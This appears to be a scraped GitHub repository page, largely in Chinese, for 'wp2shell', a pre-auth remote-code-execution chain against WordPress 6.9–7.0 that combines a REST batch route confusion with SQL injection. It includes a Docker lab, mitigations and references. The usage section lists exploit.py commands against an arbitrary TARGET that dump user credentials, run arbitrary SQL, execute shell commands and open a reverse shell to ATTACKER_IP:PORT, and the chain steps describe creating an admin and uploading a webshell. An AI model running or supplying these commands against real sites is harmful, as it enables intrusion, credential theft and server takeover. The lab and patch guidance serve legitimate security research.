Giangdurian/CVE-2026-63030-CVE-2026-60137

GitHub: Giangdurian/CVE-2026-63030-CVE-2026-60137

这是一个针对 WordPress Core 两个高危漏洞的 Pre-Auth RCE 组合利用链工具,包含基于 Docker 的实验环境和 Python 利用脚本。

Stars: 0 | Forks: 0

# CVE-2026-63030 & CVE-2026-60137 — wp2shell | | | |:---|:---| | **CVE** | CVE-2026-63030 + CVE-2026-60137 | | **别名** | wp2shell | | **漏洞类型** | REST API Route Confusion → SQL Injection → RCE | | **严重程度** | 严重 — CVSS 10.0 | | **受影响版本** | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | | **修复版本** | WordPress 6.8.6, 6.9.5, 7.0.2 | | **需要认证** | 否(Pre-Auth) | ## 概述 **wp2shell** 是针对 WordPress Core 中两个漏洞组合利用链的名称: - **CVE-2026-63030** — *Route Confusion*:当子请求包含错误路径时,Batch endpoint(`/wp-json/batch/v1`)中的 `$matches[]` 和 `$validation[]` 数组之间会发生索引错位,导致下一个子请求在错误的 handler 下运行 → 从而绕过 REST API schema validation。 - **CVE-2026-60137** — *SQL Injection*:当 `WP_Query::get_posts()` 接收字符串而非数组作为 `author__not_in` 参数时,未进行 sanitize 处理 → 导致原始 SQL Injection。 这两个 bug 结合在一起,形成了一条完整的 **Pre-Auth RCE 链** —— 从零凭证到仅在服务器上通过 HTTP 请求获取 shell。 ### 漏洞利用链 ``` Route Confusion (bypass REST validation) → SQL Injection (đọc DB: users, secret keys) → oEmbed cache poisoning (read-only SQLi → write primitive) → customize_changeset (tạo admin mới) → Plugin upload (webshell) → Remote Code Execution ``` ## 实验环境搭建 该实验环境使用 Docker Compose 运行 3 个容器: | 容器 | 镜像 | 端口 | |:---|:---|:---| | WordPress(存在漏洞) | `wordpress:6.9.4` | `8080` | | MySQL | `mysql:8.0` | 内部 | | phpMyAdmin | `phpmyadmin:latest` | `8081` | ### 前置条件 - Docker + Docker Compose - Python 3.8+(仅使用标准库,无需安装额外 package) - Bash(用于运行 `setup.sh`) ### 启动 ``` cd wp2shell-lab bash setup.sh ``` 该脚本会自动执行: 1. 拉取镜像并启动容器 2. 安装 WordPress 6.9.4 3. 填充示例数据(文章、用户) 4. 启用 MySQL general log + WP_DEBUG 完成后将显示 **"WP2Shell Lab — READY!"** 及相关的登录凭证。 ### 清理 ``` cd wp2shell-lab docker compose down -v ``` ## 漏洞利用用法 ``` # 检查 vulnerability python3 exploit.py check http://TARGET:8080 # 检查 + 确认 SQLi python3 exploit.py check --confirm-sqli http://TARGET:8080 # 从 database 读取 user credentials python3 exploit.py read --preset users http://TARGET:8080 # 运行任意 SQL 语句 python3 exploit.py read --query "SELECT @@version" http://TARGET:8080 # Full RCE — 运行 command python3 exploit.py shell --cmd "id" http://TARGET:8080 # Reverse shell python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080 ``` ## 漏洞利用条件 | 条件 | 要求 | |:---|:---| | WordPress 版本 | 6.9.0–6.9.4 或 7.0.0–7.0.1 | | REST API batch endpoint | 可访问(默认开启) | | 认证 | 不需要 | | 网络 | 攻击者可访问到 WordPress 实例 | ## 缓解措施 1. **将 WordPress 升级** 至 >= 6.9.5 或 >= 7.0.2 —— 这是唯一彻底的解决办法。 2. **临时禁用 batch endpoint**:在 `functions.php` 中添加 `add_filter('rest_batch_disabled', '__return_true');`。 3. **WAF 规则**:拦截发往 `/wp-json/batch/v1` 且包含 SQL 关键字的请求。 ## 免责声明 ## 参考资料 - [Icex0/wp2shell-poc](https://github.com/Icex0/wp2shell-poc) — 参考的原始 PoC - [WordPress 6.9.4 — class-wp-rest-server.php](https://github.com/WordPress/wordpress-develop/blob/6.9.4/src/wp-includes/rest-api/class-wp-rest-server.php) - [WordPress 6.9.4 — class-wp-query.php](https://github.com/WordPress/wordpress-develop/blob/6.9.4/src/wp-includes/class-wp-query.php) - [Patch diff 6.9.4 -> 6.9.5](https://github.com/WordPress/wordpress-develop/compare/6.9.4...6.9.5)
标签:CISA项目, Docker Compose, ffuf, WordPress, 应用安全, 文件完整性监控, 版权保护, 编程工具, 请求拦截, 远程代码执行, 逆向工具